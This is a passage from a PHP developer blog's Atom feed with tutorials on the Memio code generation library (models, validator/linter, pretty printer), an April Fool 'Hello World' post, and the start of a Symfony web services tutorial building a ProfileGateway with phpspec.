<p>The coding style can be changed by creating our custom templates. Those can be loaded as follow:</p>

<pre><code class="php">// ...

$prettyPrinter-&gt;addTemplatePath(__DIR__.'/our-custom-templates-dir');
</code></pre>

<p>Custom constraints can be written to check more things, for example we can ensure
that arguments are always object.</p>

<p>Those steps, just like the rest, are heavily described in the official <a href="http://memio.github.io/memio">documentation</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Memio is a library that provides a PHP Code Generator:</p>

<ol>
<li>First we describe what we want by building <code>Models</code> (e.g. <code>new Method('__construct')</code>)</li>
<li>Optionally we can <code>Lint</code> them to check if we introduced syntax errors (e.g. <code>Method cannot be both abstract and final</code>)</li>
<li>Then we use a <code>PrettyPrinter</code> to get the generated code (returns a string, can be displayed on the output or saved in a file, etc)</li>
</ol>

<p>You can read more about it with the following articles:</p>

<ul>
<li><a href="/2015/04/08/introducing-memio-code-generator.html">Introducing Memio</a></li>
<li><a href="/2015/04/15/memio-models.html">Memio Models</a></li>
<li><a href="/2015/04/22/memio-validator-linter.html">Memio Validator and Linter</a></li>
<li><a href="/2015/04/29/memio-pretty-printer.html">Memio PrettyPrinter and TwigTemplateEngine</a></li>
</ul>

<p>It also has an <a href="http://memio.github.io/memio">official documentation</a>.</p>

<p>The next step is to create a <a href="http://phpspec.net">phpspec</a> extension to improve its
code generator.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Memio Pretty Printer]]></title>
            <link href="/2015/04/29/memio-pretty-printer.html"/>
            <updated>2015-04-29T00:00:00+01:00</updated>
            <id>/2015/04/29/memio-pretty-printer.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="http://github.com/memio/pretty-printer">PrettyPrinter</a> converts a
  <a href="http://github.com/memio/model">Model</a> into its PHP code (returns a string),
  using <a href="http://twig.sensiolabs.org/">Twig templates</a>.</p>
</blockquote>

<p>Until now we've seen how to build Memio <a href="http://github.com/memio/model">Models</a>
to describe PHP code and how to <a href="http://github.com/memio/validator">validate</a>
the <a href="http://github.com/memio/linter">syntax</a>.</p>

<p>It's now time to take things seriously with the newly released package:
<a href="http://github.com/memio/pretty-printer">PrettyPrinter</a>, the actual code generator.</p>

<h2 id="what-is-a-pretty-printer%3F">What is a pretty printer?</h2>

<p>As opposed to "fidelity printers" which are supposed to generate code according to
the developer's coding style, "pretty printer" rely on their own.</p>

<p>If we were to open an existing PHP file with Memio and then to generate it again immediately,
chances are that the code would look slightly different.</p>

<blockquote>
  <p><strong>Note</strong>: Memio actually complies to <a href="http://www.php-fig.org/psr/">PHP standards</a>,
  with some extra rules.</p>
</blockquote>

<p>The name "printer" is a bit misleading: one could think that the service would
print the generated code in the console's output or a web page, but all it really
does is to return a simple string.</p>

<blockquote>
  <p><strong>Note</strong>: The terminology used is inspired by this <a href="http://stackoverflow.com/a/5834775/3437428">StackOverflow answer</a>.</p>
</blockquote>

<h2 id="template-engine-agnostic">Template engine agnostic</h2>

<p>Memio makes use of templates, making it easy to change the style. It defines a
<code>TemplateEngine</code> interface that has to be implemented, in order to comply with
<a href="http://webmozarts.com/">webmozart</a>'s <a href="https://github.com/memio/memio/issues/51">request</a>.</p>

<p>For now the only package available is <a href="http://github.com/memio/twig-template-engine">TwigTemplateEngine</a>,
it provides <a href="http://twig.sensiolabs.org/">Twig templates</a>.</p>

<h2 id="code-generation-example">Code generation example</h2>

<p>Enough talk, let's code! First of all we have to create our <code>PrettyPrinter</code>:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

$loader = new \Twig_Loader_Filesystem(\Memio\TwigTemplateEngine\Config\Locate::templates());
$twig = new \Twig_Environment($loader);

$line = new \Memio\TwigTemplateEngine\TwigExtension\Line\Line();
$line-&gt;add(new \Memio\TwigTemplateEngine\TwigExtension\Line\ContractLineStrategy());
$line-&gt;add(new \Memio\TwigTemplateEngine\TwigExtension\Line\FileLineStrategy());
$line-&gt;add(new \Memio\TwigTemplateEngine\TwigExtension\Line\MethodPhpdocLineStrategy());
$line-&gt;add(new \Memio\TwigTemplateEngine\TwigExtension\Line\ObjectLineStrategy());
$line-&gt;add(new \Memio\TwigTemplateEngine\TwigExtension\Line\StructurePhpdocLineStrategy());

$twig-&gt;addExtension(new \Memio\TwigTemplateEngine\TwigExtension\Type());
$twig-&gt;addExtension(new \Memio\TwigTemplateEngine\TwigExtension\Whitespace($line));

$templateEngine = new \Memio\TwigTemplateEngine\TwigTemplateEngine($twig);
$prettyPrinter = new \Memio\PrettyPrinter\PrettyPrinter($templateEngine);
</code></pre>

<p>Wow! That was quite painful to write! Thankfully the next package to be released
will make life really easier (spoiler alert: <code>Build::prettyPrinter()</code>).</p>

<p>Now let's build some models:</p>

<pre><code class="php">// ...

$myMethod = new \Memio\Model\Method('myMethod');
for ($i = 1; $i &lt; 10; $i++) {
    $myMethod-&gt;addArgument(new \Memio\Model\Argument('mixed', 'argument'.$i));
}
</code></pre>

<p>All it takes to generate the code is this:</p>

<pre><code class="php">// ...

$generatedCode = $prettyPrinter-&gt;generateCode($myMethod);
</code></pre>

<p>Let's see in the console output what it did:</p>

<pre><code class="php">// ...

echo $generatedCode;
</code></pre>

<p>We should get the following:</p>

<pre><code class="php">    public function myMethod(
        $argument1,
        $argument2,
        $argument3,
        $argument4,
        $argument5,
        $argument6,
        $argument7,
        $argument8,
        $argument9
    )
    {
    }
</code></pre>

<p>Each arguments are displayed on their own line, because the inline equivalent
would have been longer than 120 characters.</p>

<h2 id="custom-templates">Custom templates</h2>

<p>Memio has extra rules regarding coding standards, for example it adds an empty
line between the PHP opening tag and the namespace statement.</p>

<p>We can get rid of this by creating our own custom template: first we copy the <code>file.twig</code>
template in our project:</p>

<pre><code>
{#- File: my_templates/file.twig -#}
&lt;?php
{% if file.licensePhpdoc is not empty %}

{% include 'phpdoc/license_phpdoc.twig' with { 'license_phpdoc': file.licensePhpdoc } only %}
{% endif %}
namespace {{ file.namespace }};

{% include 'collection/fully_qualified_name_collection.twig' with {
    'fully_qualified_name_collection': file.allFullyQualifiedNames
} only %}
{% if needs_line_after(file, 'fully_qualified_names') %}

{% endif %}
{% if file.structure is contract %}
{% include 'contract.twig' with { 'contract': file.structure } only %}
{% else %}
{% include 'object.twig' with { 'object': file.structure } only %}
{% endif %}

</code></pre>

<p>We've removed the line between <code>{% endif %}</code> and <code>namespace {{ file.namespace }};</code>.</p>

<p>In order for our custom template to be used, we'll need to add its directory path to <code>PrettyPrinter</code>:</p>

<pre><code class="php">// ...

$prettyPrinter-&gt;addTemplatePath(__DIR__.'/my_templates');
</code></pre>

<p>And we're done!</p>

<p>Let's check the result:</p>

<pre><code class="php">// ...

$file = \Memio\Model\File::make('src/Vendor/Project/MyClass.php')
    -&gt;setStructure(new \Memio\Model\Object('Vendor\Project\MyClass'))
;

echo $prettyPrinter-&gt;generateCode($file);
</code></pre>

<p>This will output:</p>

<pre><code class="php">&lt;?php
namespace Vendor\Project;

class MyClass
{
}
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>PrettyPrinter can convert Models into PHP code, it uses templates behind the scene
so we can tweak the coding style our way. It isn't tied to any Template Engine,
but we can install Memio's TwigTemplateEngine package .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Memio validator and linter]]></title>
            <link href="/2015/04/22/memio-validator-linter.html"/>
            <updated>2015-04-22T00:00:00+01:00</updated>
            <id>/2015/04/22/memio-validator-linter.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Write <a href="http://github.com/memio/validator">constraints</a> to check
  <a href="http://github.com/memio/model">models</a> integrity.
  <a href="http://github.com/memio/linter">Linter</a> constraints (e.g. syntax error) are already available.</p>
</blockquote>

<p>Everyday Memio, the higly opinionated PHP code generation library, progresses
toward its stable release.</p>

<p>In this article, we'll have a look at two packages that have been freshly extracted:
<code>memio/validator</code> and <code>memio/linter</code>.</p>

<h2 id="writing-constraints">Writing constraints</h2>

<p>The <a href="http://github.com/memio/validator">validator</a> packages provides an easy way
to write constraints. Let's write one to check that method arguments are never scalar.</p>

<blockquote>
  <p><strong>Note</strong>: This is one of the principle in <a href="http://williamdurand.fr/2013/06/03/object-calisthenics">object calisthenics</a>:
  <a href="http://williamdurand.fr/2013/06/03/object-calisthenics/#3-wrap-all-primitives-and-strings">wrap all primitives and string</a>.</p>
</blockquote>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Memio\Validator\Constraint;
use Memio\Validator\Violation\NoneViolation;
use Memio\Validator\Violation\SomeViolation;

class ArgumentCannotBeScalar implements Constraint
{
    public function validate($model)
    {
        $type = $model-&gt;getType();
        if (in_array($type, array('array', 'bool', 'callable', 'double', 'int', 'mixed', 'null', 'resource', 'string'), true)) {
            return new SomeViolation(sprintf('Argument "%s" cannot be scalar', $model-&gt;getName()));
        }

        return new NoneViolation();
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Naming constraints after their error message allow for better reability.</p>
</blockquote>

<p>The next step is to register our constraint in a validator. Since our constraint
aims <code>Argument</code> models, we'll register it in an <code>ArgumentValidator</code>:</p>

<pre><code class="php">// ...

use Memio\Validator\ModelValidator\ArgumentValidator;

$argumentValidator = new ArgumentValidator();
$argumentValidator-&gt;add(new ArgumentCannotBeScalar());
</code></pre>

<p>When building models, <code>Arguments</code> are burried in <code>Methods</code>, which themselves are burried in
<code>Contracts</code> or <code>Objects</code> which in turn are burried in <code>File</code>.</p>

<p>To make things easy, we'd like to simply give the top most model (e.g. <code>File</code>) to
a generic <code>Validator</code>. Its responsibility would be to go through each models and execute
the appropriate <code>ModelValidator</code>.</p>

<p>In order to do so, we have to create all <code>ModelValidators</code> and assemble them as follow:</p>

<pre><code class="php">// ...

use Memio\Validator\ModelValidator\CollectionValidator;
use Memio\Validator\ModelValidator\ContractValidator;
use Memio\Validator\ModelValidator\FileValidator;
use Memio\Validator\ModelValidator\MethodValidator;
use Memio\Validator\ModelValidator\ObjectValidator;

$collectionValidator = new CollectionValidator();
$methodValidator = new MethodValidator($argumentValidator, $collectionValidator);
$contractValidator = new ContractValidator($collectionValidator, $methodValidator);
$objectValidator = new ObjectValidator($collectionValidator, $methodValidator);
$fileValidator = new FileValidator($contractValidator, $objectValidator);
</code></pre>

<p>Finally, we need to create a validator and register our <code>ModelValidators</code> in it:</p>

<pre><code class="php">// ...

use Memio\Validator\Validator;

$calisthenicValidator = new Validator();
$calisthenicValidator-&gt;add($argumentValidator);
$calisthenicValidator-&gt;add($collectionValidator);
$calisthenicValidator-&gt;add($methodValidator);
$calisthenicValidator-&gt;add($contractValidator);
$calisthenicValidator-&gt;add($objectValidator);
$calisthenicValidator-&gt;add($fileValidator);
</code></pre>

<p>We can now validate our Models:</p>

<pre><code class="php">// ...

$calisthenicValidator-&gt;validate($file); // @throws Memio\Validator\InvalidModelException if one or more constraint fail
</code></pre>

<p>The <code>InvalidModelException</code>'s message has one line per violation.</p>

<h2 id="linter">Linter</h2>

<p>Out of the box, Memio provides a <a href="http://github.com/memio/linter">Linter</a> which
provides the following constraints:</p>

<ul>
<li>Collection cannot have name duplicates</li>
<li>Concrete Object Methods cannot be abstract</li>
<li>Contract Methods can only be public</li>
<li>Contract Methods cannot be final</li>
<li>Contract Methods cannot be static</li>
<li>Contract Methods cannot have a body</li>
<li>Method cannot be abstract and have a body</li>
<li>Method cannot be both abstract and final</li>
<li>Method cannot be both abstract and private</li>
<li>Method cannot be both abstract and static</li>
<li>Object Argument can only default to null</li>
</ul>

<p>As we've seen above, constructing and assembling constraints and validators can be quite
tiresome.</p>

<p>That's where <code>memio/memio</code>, the main central repository, starts to be useful by
providing a simple way to get a ready to use linter:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Memio\Memio\Config\Build;

$linter = Build::linter();

$linter-&gt;validate($file); // @throws Memio\Validator\InvalidModelException if one or more constraint fail
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Validator allows the creation of custom constraint to ensure that the build Models
are valid. Linter is a set of constraints ready to use, allowing to prevent syntax errors
(e.g. a method cannot be both final and abstract).</p>

<p>If you'd like to find out more about Memio Validator, have a look at the documentation:</p>

<ul>
<li><a href="http://memio.github.io/memio/doc/03-validation-tutorial.html">Validator Tutorial</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Memio models]]></title>
            <link href="/2015/04/15/memio-models.html"/>
            <updated>2015-04-15T00:00:00+01:00</updated>
            <id>/2015/04/15/memio-models.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Describe code by building <a href="http://github.com/memio/model">models</a>.</p>
</blockquote>

<p>Memio is a highly opinionated PHP code generation library, its version 1.0.0 (stable)
is going to be released soon: currently the main package <code>memio/memio</code> is being
split into smaller packages.</p>

<p>In this article, we'll have a look at the very first package to be ready: <code>memio/model</code>.</p>

<h2 id="describing-code">Describing code</h2>

<p>Let's have a look at the following method:</p>

<pre><code class="php">    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = true)
    {
    }
</code></pre>

<p>We have many things here:</p>

<ul>
<li>a method named <code>handle</code> which is:

<ul>
<li>public</li>
<li>non static</li>
<li>non final</li>
<li>non abstract</li>
</ul></li>
</ul>

<p>It has the following arguments:</p>

<ul>
<li>a <code>Request</code> object named <code>request</code></li>
<li>an integer named <code>type</code> which defaults to <code>self::MASTER_REQUEST</code></li>
<li>a boolean named <code>catch</code> which defaults to <code>true</code></li>
</ul>

<p>Memio provides models that allow us to describe this method by constructing objects:</p>

<pre><code class="php">&lt;?php

use Memio\Model\Argument;
use Memio\Model\Method;

require __DIR__.'/vendor/autoload.php';

$method = Method::make('handle')
    -&gt;addArgument(Argument::make('Request', 'request'))
    -&gt;addArgument(Argument::make('int', 'type')
        -&gt;setDefaultValue('self::MASTER_REQUEST')
    )
    -&gt;addArgument(Argument::make('bool', 'catch')
        -&gt;setDefaultValue('true')
    )
;
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Static constructors are used to allow fluent interface (chaining calls).
  From PHP 5.6 it is possible to do the following:
  <code>(new Method('handle'))-&gt;addArgument(new Argument('Request', 'request'));</code></p>
</blockquote>

<h2 id="building-models-dynamically">Building models dynamically</h2>

<p>Usually models aren't built manually, they could be constructed using:</p>

<ul>
<li>a configuration (a PHP array, a YAML file, etc)</li>
<li>parameters (from CLI input, a web request, etc)</li>
<li>existing code (using <a href="http://nikic.github.io/aboutMe.html">nikic</a>'s <a href="https://github.com/nikic/PHP-Parser">PHP-Parser</a> for instance)</li>
</ul>

<p>Here's a usage example. When running the test suite, <a href="http://phpspec.net">phpspec</a>
generates missing methods in our code (amongst many other nice things).</p>

<p>If the following call is found in a test:</p>

<pre><code class="php">        $this-&gt;handle($request);
</code></pre>

<p>And if the <code>handle</code> method isn't defined in the class currently tested, then phpspec
gathers the following parameters:</p>

<ul>
<li><code>$methodName</code>, which here is set to <code>'handle'</code></li>
<li><code>$arguments</code>, which here is set to <code>array($request)</code></li>
</ul>

<p>Let's re-write its generator using Memio:</p>

<pre><code class="php">&lt;?php

use Memio\Model\Argument;
use Memio\Model\Method;

require __DIR__.'/vendor/autoload.php';

function phpspec_generator($methodName, array $arguments) {
    $method = new Method($methodName);
    $index = 1;
    foreach ($arguments as $argument) {
        $type = is_object($argument) ? get_class($argument) : gettype($argument);
        $argumentName = 'argument'.$index++;
        $method-&gt;addArgument(new Argument($type, $argumentName));
    }

    return $method
}
</code></pre>

<p>Pretty straightforward!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Models are Memio's core, almost every memio packages will rely on them:</p>

<ul>
<li><code>memio/linter</code> will scan models to detect errors (e.g. abstract methods in a final class)</li>
<li><code>memio/twig-template</code> will use them to actually generate the corresponding code</li>
</ul>

<p>For now they can describe:</p>

<ul>
<li>a method argument (typehint when needed, default value)</li>
<li>a method (with PHPdoc, visibility, staticness, abstracness and if it's final)</li>
<li>a property (with PHPdoc, visibility, staticness, default value)</li>
<li>a constant</li>
<li>a class (with PHPdoc, parents, interfaces, abstractness and if it's final)</li>
<li>an interface (with PHPdoc, parent interfaces)</li>
<li>a file (with license header, namespace, use statements)</li>
</ul>

<p>There are some limitations:</p>

<ul>
<li>it can only describe a method's body using a string (e.g. <code>$toto = 42;\necho $toto;</code>)</li>
<li>a file must have a class or an interface</li>
</ul>

<p>For now, it will be sufficient to start working on exciting projects!</p>

<p>If you'd like to find out more about Memio Models, have a look at the documentation:</p>

<ul>
<li><a href="http://memio.github.io/memio/doc/01-model-tutorial.html">regular Models</a></li>
<li><a href="http://memio.github.io/memio/doc/02-phpdoc-tutorial.html">PHPdoc Models</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Introducing Memio, code generator]]></title>
            <link href="/2015/04/08/introducing-memio-code-generator.html"/>
            <updated>2015-04-08T00:00:00+01:00</updated>
            <id>/2015/04/08/introducing-memio-code-generator.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Work in Progress: Memio, a library for PHP code generation.</p>
</blockquote>

<p>Code generators write code for you, so you don't have to! There's many kinds out there:</p>

<ul>
<li>the ones that bootstrap code but can't add anything to it later</li>
<li>the ones that create code but you can't add anything to it later</li>
<li>the ones that can add new things to existing files</li>
<li>the ones that will completly change the style of existing file if they add anything to it</li>
</ul>

<p>Many frameworks provide code generators, because they can be a real time saver by
automating repetitive boring tasks (e.g. bootstraping a CRUD controller). The only
issue is that usually we can't customize them.</p>

<p>For example with <a href="https://github.com/sensiolabs/SensioGeneratorBundle">GeneratorBundle</a>,
it's impossible to create REST controllers.</p>

<p>Some of them provide templates but don't template engines, like <a href="http://phpspec.net/">phpspec</a>
for example: this is a step forward but that's not enough.</p>

<p>Now let's have a look at code generator libraries: the main ones don't allow an easy
way to customize the coding style of generated code:</p>

<ul>
<li><a href="http://framework.zend.com/manual/current/en/modules/zend.code.generator.examples.html">Zend Code Generator</a></li>
<li><a href="https://github.com/nikic/PHP-Parser">PHP Parser</a></li>
</ul>

<p>Some of them do use a template engine, but you need to write a lot of code in order to use
them:</p>

<ul>
<li><a href="https://github.com/cedriclombardot/TwigGenerator">TwigGenerator</a></li>
</ul>

<p>Don't panic! Memio is a code generator library that uses a template engine and provide
out of the box templates, generators and even validation!</p>

<p>Started in september 2014 under the name "Medio", it has now matured enough to be soon
released in stable version (1.0.0).</p>

<p>Let's have a look at what's going to be achieved with it.</p>

<h2 id="improving-phpspec">Improving phpspec</h2>

<p>The <a href="https://github.com/ciaranmcnulty/phpspec-typehintedmethods">phpspec typehint extension</a> was
a good playground for Memio: it allowed to test generation of a method argument by:</p>

<ul>
<li>adding typehints when needed</li>
<li>naming object arguments after their types</li>
</ul>

<p>Once Memio is stable, it will provide its own phpspec extension that aims at:</p>

<ul>
<li>generating argument's PHPdoc</li>
<li>generating use statements for object arguments (no more fully qualified classnames)</li>
<li>generating dependency injection</li>
</ul>

<p>Curious about this last bullet point? Then read on.</p>

<h2 id="automating-dependency-injection">Automating Dependency Injection</h2>

<p>There are many ways to use constructors, and one of them is dependency injection:
each argument is stored in a property and the class can then use them.</p>

<blockquote>
  <p><strong>Note</strong>: Remember, Dependency Injection is a fancy word for passing arguments.</p>
</blockquote>

<p>When doing so, we need to write a lot of boilerplate code:</p>

<ul>
<li>add argument to constructor (with PHPdoc, typehint, name after the type)</li>
<li>add property initialization in constructor body</li>
<li>add property (with PHPdoc)</li>
<li>add use statement, if necessary</li>
</ul>

<p>Memio will automate this in its phpspec extension.</p>

<h2 id="possibly-more%3F">Possibly more?</h2>

<p>We talked about GeneratorBundle: the issue is that we can't define our own templates.
Well Memio could solve this issue in a reusable way!</p>

<p>Usually each applications have its own style, its own requirements, etc. In short:
we can't use the same code generator between projects. But if we focus on a single
project, then we can start using the same code generator to boostrap many classes:
endpoint/page controllers, entities, etc. The possibilities are endless!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Memio, once stable, will provide a powerful and reusable way of generating code.</p>

<p>What's left to do before the release of v1.0? Mainly splitting the main package
(<code>memio/memio</code>) into small ones (<code>model</code>, <code>template-engine</code>, <code>validator</code>, etc).
The main package would become a "standard edition", allowing developers to select
the features they want, for example the template engine (as <a href="https://github.com/memio/memio/issues/51">requested</a>
by <a href="https://github.com/webmozart">webmozart</a>).</p>

<p>Stay tuned!</p>

<h3 id="thanks">Thanks</h3>

<p>I'd like to thank the following early contributors:</p>

<ul>
<li><a href="https://github.com/funivan">funivan</a></li>
<li><a href="https://github.com/pyrech">pyrech</a></li>
<li><a href="https://github.com/tigitz">tigitz</a></li>
<li><a href="https://github.com/TomasVotruba">TomasVotruba</a></li>
</ul>

<p>Keep up the good work!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Hello World, best practices - part 1.1.1]]></title>
            <link href="/2015/04/01/hello-world-best-practices.html"/>
            <updated>2015-04-01T00:00:00+01:00</updated>
            <id>/2015/04/01/hello-world-best-practices.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Happy April Fool joke!</p>
</blockquote>

<p>Hello World applications are often used to showcase framework capabilities, but
they usually fail to do so! This is because real world applications are never that simple.</p>

<p>In this series of articles, we will demonstrate how to build a real world Hello World application.</p>

<p>The first part will include the following standard technologies:</p>

<ul>
<li>AngularJs, to write the frontend</li>
<li><a href="http://www.pomm-project.org/">PostgreSQL</a>, for the database</li>
<li><a href="http://labs.octivi.com/handling-1-billion-requests-a-week-with-symfony2/">Redis</a>, a cache to reduce the high cost of querying the database</li>
<li>IIS, as a web server</li>
<li><a href="http://odolbeau.fr/blog/when-monolog-meet-elk.html">Logstash/Elasticsearch/Kibana</a>, to monitor our application</li>
</ul>

<p>In the second part, we'll take things to the advanced level:</p>

<ul>
<li><a href="http://williamdurand.fr/2012/08/02/rest-apis-with-symfony2-the-right-way/">FOSRestBundle</a> to create a HATEOS compliant API with Symfony</li>
<li><a href="http://homakov.blogspot.fr/2013/03/oauth1-oauth2-oauth.html">OAuth2</a> to manage authentication</li>
<li><a href="http://www.slideshare.net/cakper/2014-0821-symfony-uk-meetup-scaling-symfony2-apps-with-rabbit-mq?related=1">Oldsound/RabbitMQBundle</a>, to keep our database and cache up to date</li>
<li><a href="https://twitter.com/m_lukaszewski/status/583143784394985473">Laravel 5</a> to create a backend</li>
</ul>

<p>In the conlusion we'll explore Docker, <a href="http://www.slideshare.net/giorrrgio/import-golang-struct-microservice">Go Martini</a> (for faster GET endpoints),
<a href="http://www.crummy.com/software/BeautifulSoup/">Python beautiful soup</a> (for web crawling) and NodeJs (to monitor our queues).</p>

<p>Of course we're going to use <a href="https://cukes.info/blog/2015/03/24/single-source-of-truth">full stack BDD</a> all along!</p>

<p>Get ready for the best "Hello World" application you've ever seen!</p>

<h2 id="april-fool">April Fool</h2>

<p>This was my April Fool joke, no let's get serious and build  what I think is the best
Hello World application:</p>

<pre><code class="php">&lt;?php

echo 'Hello world';
</code></pre>

<p>Note that there's no symfony, no RabbitMQ, no nothing involved. That's because
a Hello World application doesn't require anything else, those tools were design
to solve issues that we don't have here.</p>

<p>If you're concerned about our Hello World application's performance, well you shouldn't be.
First of all, it's a Hello World application... As far as I'm concerned it prints
pretty much instantly this way.</p>

<p>Second of all, you shouldn't worry about performance when building an application.
This is something you should start worrying only when you have performance issues.
The best thing you could do, is build the application in a way that will allow you
to change it afterwards, if the need comes (and it usually will: requirements are changing by nature).</p>

<p>I hope you enjoyed it :) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 3.3: Consuming, remote calls]]></title>
            <link href="/2015/03/25/sf-ws-part-3-3-consuming-remote.html"/>
            <updated>2015-03-25T00:00:00+00:00</updated>
            <id>/2015/03/25/sf-ws-part-3-3-consuming-remote.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the seventh article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the six first ones:</p>

<ul>
<li><a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a></li>
<li><a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">2.1 Creation bootstrap</a></li>
<li><a href="/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html">2.2 Creation, the pragmatic way</a></li>
<li><a href="/2015/03/04/sf-ws-part-2-3-creation-refactoring.html">2.3 Creation, refactoring</a></li>
<li><a href="/2015/03/11/sf-ws-part-3-1-consuming-request-handler.html">3.1 Consuming, RequestHandler</a></li>
<li><a href="/2015/03/18/sf-ws-part-3-2-consuming-guzzle.html">3.2 Consuming, Guzzle</a></li>
</ul>

<p>You can check the code in the <a href="https://github.com/gnugat-examples/sf-cs">following repository</a>.</p>

<p>In the previous article, we've created a Guzzle RequestHandler: we are now able
to make remote calls using a third party library, but without the cost of coupling
ourselves to it. If Guzzle 6 is released we'll have to change only one class, instead
of everywhere in our application.</p>

<p>In this article, we'll create the actual remote calls.</p>

<h2 id="credential-configuration">Credential configuration</h2>

<p>The web service we want to call requires us to authenticate. Those credentials
shouldn't be hardcoded, we'll create new parameters for them (same goes for the URL):</p>

<pre><code># File: app/config/parameters.yml.dist
    ws_url: http://example.com
    ws_username: username
    ws_password: ~
</code></pre>

<p>We can then set those values in the actual parameter file:</p>

<pre><code># File: app/config/parameters.yml
    ws_url: "http://ws.local/app_dev.php"
    ws_username: spanish_inquisition
    ws_password: "NobodyExpectsIt!"
</code></pre>

<p>Note that because our password contains a character which is reserved in YAML (<code>!</code>),
we need to put the value between double quotes (same goes for <code>%</code> and <code>@</code>).</p>

<p>Let's commit this:</p>

<pre><code>git add -A
git commit -m 'Added credentials configuration'
</code></pre>

<h2 id="profile-gateway">Profile Gateway</h2>

<p>We can create a <a href="http://martinfowler.com/eaaCatalog/gateway.html">Gateway</a>
specialized in calling the profile web service:</p>

<pre><code>./bin/phpspec describe 'AppBundle\Profile\ProfileGateway'
</code></pre>

<p>Usually we categorize our Symfony applications by Pattern: we'd create a <code>Gateway</code>
directory with all the Gateway service. However this can become quite cubersome
when the application grows, services are usually linked to a model meaning that
we'd have to jump from the <code>Model</code> (or <code>Entity</code>) directory to the <code>Gateway</code> one,
then go to the <code>Factory</code> directory, etc...</p>

<p>Here we've chosen an alternative: group services by model. All <code>Profile</code> services
can be found in the same directory.</p>

<p>Let's write the Gateway's specification:</p>

<pre><code class="php">&lt;?php
// File: spec/AppBundle/Profile/ProfileGatewaySpec.php

namespace spec\AppBundle\Profile;

use AppBundle\RequestHandler\RequestHandler;
use AppBundle\RequestHandler\Response;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class ProfileGatewaySpec extends ObjectBehavior
{
    const URL = 'http://example.com';
    const USERNAME = 'spanish inquisition';
    const PASSWORD = 'nobody expects it';

    const ID = 42;
    const NAME = 'Arthur';

    function let(RequestHandler $requestHandler)
    {
        $this-&gt;beConstructedWith($requestHandler, self::URL, self::USERNAME, self::PASSWORD);
    }

    function it_creates_profiles(RequestHandler $requestHandler, Response $response)
    {
        $profile = array(
            'id' =&gt; self::ID,
            'name' =&gt; self::NAME,
        );

        $request = Argument::type('AppBundle\RequestHandler\Request');
        $requestHandler-&gt;handle($request)-&gt;willReturn($response);
        $response-&gt;getBody()-&gt;willReturn($profile);

        $this-&gt;create(self::NAME)-&gt;shouldBe($profile);
    }
}
</code></pre>

<p>We can now generate the code's skeleton:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>It constructs a <code>Request</code> object, gives it to <code>RequestHandler</code> and then returns the
<code>Response</code>'s body:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Profile/ProfileGateway.php

namespace AppBundle\Profile;

use AppBundle\RequestHandler\Request;
use AppBundle\RequestHandler\RequestHandler;

class ProfileGateway
{
    private $requestHandler;
    private $url;
    private $username;
    private $password;

    public function __construct(RequestHandler $requestHandler, $url, $username, $password)
    {
        $this-&gt;requestHandler = $requestHandler;
        $this-&gt;username = $username;
        $this-&gt;password = $password;
    }

    public function create($name)
    {
        $request = new Request('POST', $this-&gt;url.'/api/v1/profiles');
        $request-&gt;setHeader('Authorization', 'Basic '.base64_encode($this-&gt;username.':'.$this-&gt;password));
        $request-&gt;setHeader('Content-Type', 'application/json');
        $request-&gt;setBody(json_encode(array('name' =&gt; $name)));

        $response = $this-&gt;requestHandler-&gt;handle($request);

        return $response-&gt;getBody();
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Managing URLs can become quite tricky when the number of routes grows.
  Sometimes we'll want HTTPS, sometimes HTTP. Sometimes we'll want the first version
  of the API, sometimes the pre production one. And what should we do when we'll
  need query parameters?</p>
  
  <p>Usually I don't bother with those until the need is actually there, then I create
  a <code>UrlGenerator</code> which works a bit like Symfony's one and relies on a configuration array.</p>
</blockquote>

<p>Let's check our tests:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>All green!</p>

<pre><code>git add -A
git commit -m 'Created ProfileGateway'
</code></pre>

<h2 id="create-profile-command">Create Profile Command</h2>

<p>Our application happens to be a Command Line Interface (CLI). We want to write a
command to create profiles, and as usual we'll begin with a test:</p>

<pre><code class="php">&lt;?php
// File: tests/Command/CreateProfileCommandTest.php

namespace AppBundle\Tests\Command;

use PHPUnit_Framework_TestCase;
use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Output\NullOutput;
use Symfony\Component\Console\Input\ArrayInput;

class CreateProfileCommandTest extends PHPUnit_Framework_TestCase
{
    private $app;
    private $output;

    protected function setUp()
    {
        $kernel = new \AppKernel('test', false);
